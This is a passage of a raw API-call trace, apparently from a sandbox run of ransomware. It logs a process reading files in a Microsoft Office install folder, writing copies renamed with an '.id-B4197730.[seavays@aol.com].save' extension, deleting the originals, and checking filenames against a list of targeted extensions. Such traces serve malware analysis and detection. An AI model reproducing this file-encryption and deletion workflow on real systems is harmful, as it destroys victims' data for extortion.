2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.581] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=45229) returned 1 [0177.581] CloseHandle (hObject=0x370) returned 1 [0177.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0177.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.582] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.582] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0177.583] GetLastError () returned 0x0 [0177.583] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0xb0ad, lpOverlapped=0x0) returned 1 [0177.652] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xb0b0, lpOverlapped=0x0) returned 1 [0177.654] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.654] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x102, lpOverlapped=0x0) returned 1 [0177.654] SetEndOfFile (hFile=0x434) returned 1 [0177.654] CloseHandle (hObject=0x434) returned 1 [0177.654] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.654] SetEndOfFile (hFile=0x370) returned 1 [0177.810] CloseHandle (hObject=0x370) returned 1 [0177.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1 [0177.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.812] lstrlenW (lpString=".doc") returned 4 [0177.812] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.812] lstrlenW (lpString=".docx") returned 5 [0177.812] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.812] lstrlenW (lpString=".pdf") returned 4 [0177.812] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.812] lstrlenW (lpString=".xls") returned 4 [0177.812] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.812] lstrlenW (lpString=".xlsx") returned 5 [0177.812] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.812] lstrlenW (lpString=".ppt") returned 4 [0177.812] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.812] lstrlenW (lpString=".zip") returned 4 [0177.812] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.812] lstrlenW (lpString=".rar") returned 4 [0177.812] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.812] lstrlenW (lpString=".bz2") returned 4 [0177.812] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.812] lstrlenW (lpString=".7z") returned 3 [0177.812] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.812] lstrlenW (lpString=".dbf") returned 4 [0177.812] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.813] lstrlenW (lpString=".1cd") returned 4 [0177.813] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.813] lstrlenW (lpString=".jpg") returned 4 [0177.813] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.813] lstrlenW (lpString=".doc") returned 4 [0177.813] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString=".docx") returned 5 [0177.813] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.813] lstrlenW (lpString=".pdf") returned 4 [0177.813] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString=".xls") returned 4 [0177.813] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString=".xlsx") returned 5 [0177.813] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.813] lstrlenW (lpString=".ppt") returned 4 [0177.813] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.813] lstrlenW (lpString=".zip") returned 4 [0177.813] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString=".rar") returned 4 [0177.813] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString=".bz2") returned 4 [0177.813] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.813] lstrlenW (lpString=".7z") returned 3 [0177.813] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.814] lstrlenW (lpString=".dbf") returned 4 [0177.814] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.814] lstrlenW (lpString=".1cd") returned 4 [0177.814] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0177.814] lstrlenW (lpString=".jpg") returned 4 [0177.814] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.814] lstrcmpiW (lpString1=".eftx", lpString2=".save") returned -1 [0177.814] lstrlenW (lpString="Top Shadow.eftx") returned 15 [0177.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.817] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=56944) returned 1 [0177.817] CloseHandle (hObject=0x370) returned 1 [0177.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220 [0177.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.818] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.818] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.819] GetLastError () returned 0x0 [0177.819] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0xde70, lpOverlapped=0x0) returned 1 [0177.822] WriteFile (in: hFile=0x51c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xde80, lpOverlapped=0x0) returned 1 [0177.824] ReadFile (in: hFile=0x370, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0177.824] WriteFile (in: hFile=0x51c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf2, lpOverlapped=0x0) returned 1 [0177.825] SetEndOfFile (hFile=0x51c) returned 1 [0177.825] CloseHandle (hObject=0x51c) returned 1 [0177.825] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0177.825] SetEndOfFile (hFile=0x370) returned 1 [0177.829] CloseHandle (hObject=0x370) returned 1 [0177.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1 [0177.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.832] lstrlenW (lpString=".doc") returned 4 [0177.832] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.832] lstrlenW (lpString=".docx") returned 5 [0177.832] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.832] lstrlenW (lpString=".pdf") returned 4 [0177.832] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.832] lstrlenW (lpString=".xls") returned 4 [0177.832] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.832] lstrlenW (lpString=".xlsx") returned 5 [0177.832] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.832] lstrlenW (lpString=".ppt") returned 4 [0177.832] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.832] lstrlenW (lpString=".zip") returned 4 [0177.832] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.833] lstrlenW (lpString=".rar") returned 4 [0177.833] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.833] lstrlenW (lpString=".bz2") returned 4 [0177.833] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.833] lstrlenW (lpString=".7z") returned 3 [0177.833] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.833] lstrlenW (lpString=".dbf") returned 4 [0177.833] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.833] lstrlenW (lpString=".1cd") returned 4 [0177.833] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.833] lstrlenW (lpString=".jpg") returned 4 [0177.833] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.833] lstrlenW (lpString=".doc") returned 4 [0177.833] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0177.833] lstrlenW (lpString=".docx") returned 5 [0177.833] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0177.833] lstrlenW (lpString=".pdf") returned 4 [0177.833] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0177.833] lstrlenW (lpString=".xls") returned 4 [0177.833] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0177.833] lstrlenW (lpString=".xlsx") returned 5 [0177.833] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0177.833] lstrlenW (lpString=".ppt") returned 4 [0177.834] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0177.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.834] lstrlenW (lpString=".zip") returned 4 [0177.834] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0177.834] lstrlenW (lpString=".rar") returned 4 [0177.834] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0177.834] lstrlenW (lpString=".bz2") returned 4 [0177.834] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0177.834] lstrlenW (lpString=".7z") returned 3 [0177.834] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0177.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.834] lstrlenW (lpString=".dbf") returned 4 [0177.834] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0177.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.834] lstrlenW (lpString=".1cd") returned 4 [0177.834] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0177.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87 [0177.834] lstrlenW (lpString=".jpg") returned 4 [0177.834] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0177.834] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.834] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0177.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.841] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=18624) returned 1 [0177.841] CloseHandle (hObject=0x370) returned 1 [0177.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0177.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.842] lstrlenW (lpString=".doc") returned 4 [0177.842] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.842] lstrlenW (lpString=".docx") returned 5 [0177.842] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.842] lstrlenW (lpString=".pdf") returned 4 [0177.842] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.842] lstrlenW (lpString=".xls") returned 4 [0177.842] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.842] lstrlenW (lpString=".xlsx") returned 5 [0177.842] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.842] lstrlenW (lpString=".ppt") returned 4 [0177.842] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.842] lstrlenW (lpString=".zip") returned 4 [0177.842] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.842] lstrlenW (lpString=".rar") returned 4 [0177.842] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.842] lstrlenW (lpString=".bz2") returned 4 [0177.842] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.842] lstrlenW (lpString=".7z") returned 3 [0177.842] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.842] lstrlenW (lpString=".dbf") returned 4 [0177.843] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.843] lstrlenW (lpString=".1cd") returned 4 [0177.843] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.843] lstrlenW (lpString=".jpg") returned 4 [0177.843] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.843] lstrlenW (lpString=".doc") returned 4 [0177.843] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.843] lstrlenW (lpString=".docx") returned 5 [0177.843] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.843] lstrlenW (lpString=".pdf") returned 4 [0177.843] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.843] lstrlenW (lpString=".xls") returned 4 [0177.843] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.843] lstrlenW (lpString=".xlsx") returned 5 [0177.843] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.843] lstrlenW (lpString=".ppt") returned 4 [0177.843] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.843] lstrlenW (lpString=".zip") returned 4 [0177.843] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.844] lstrlenW (lpString=".rar") returned 4 [0177.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.844] lstrlenW (lpString=".bz2") returned 4 [0177.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.844] lstrlenW (lpString=".7z") returned 3 [0177.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.844] lstrlenW (lpString=".dbf") returned 4 [0177.844] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.844] lstrlenW (lpString=".1cd") returned 4 [0177.844] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0177.844] lstrlenW (lpString=".jpg") returned 4 [0177.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.844] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0177.844] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0177.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.234] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=18624) returned 1 [0178.234] CloseHandle (hObject=0x370) returned 1 [0178.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0178.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.235] lstrlenW (lpString=".doc") returned 4 [0178.235] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.235] lstrlenW (lpString=".docx") returned 5 [0178.235] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.235] lstrlenW (lpString=".pdf") returned 4 [0178.235] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.235] lstrlenW (lpString=".xls") returned 4 [0178.235] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.235] lstrlenW (lpString=".xlsx") returned 5 [0178.235] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.235] lstrlenW (lpString=".ppt") returned 4 [0178.235] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0178.235] lstrlenW (lpString=".zip") returned 4 [0178.235] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.235] lstrlenW (lpString=".rar") returned 4 [0178.235] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.235] lstrlenW (lpString=".bz2") returned 4 [0178.235] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.235] 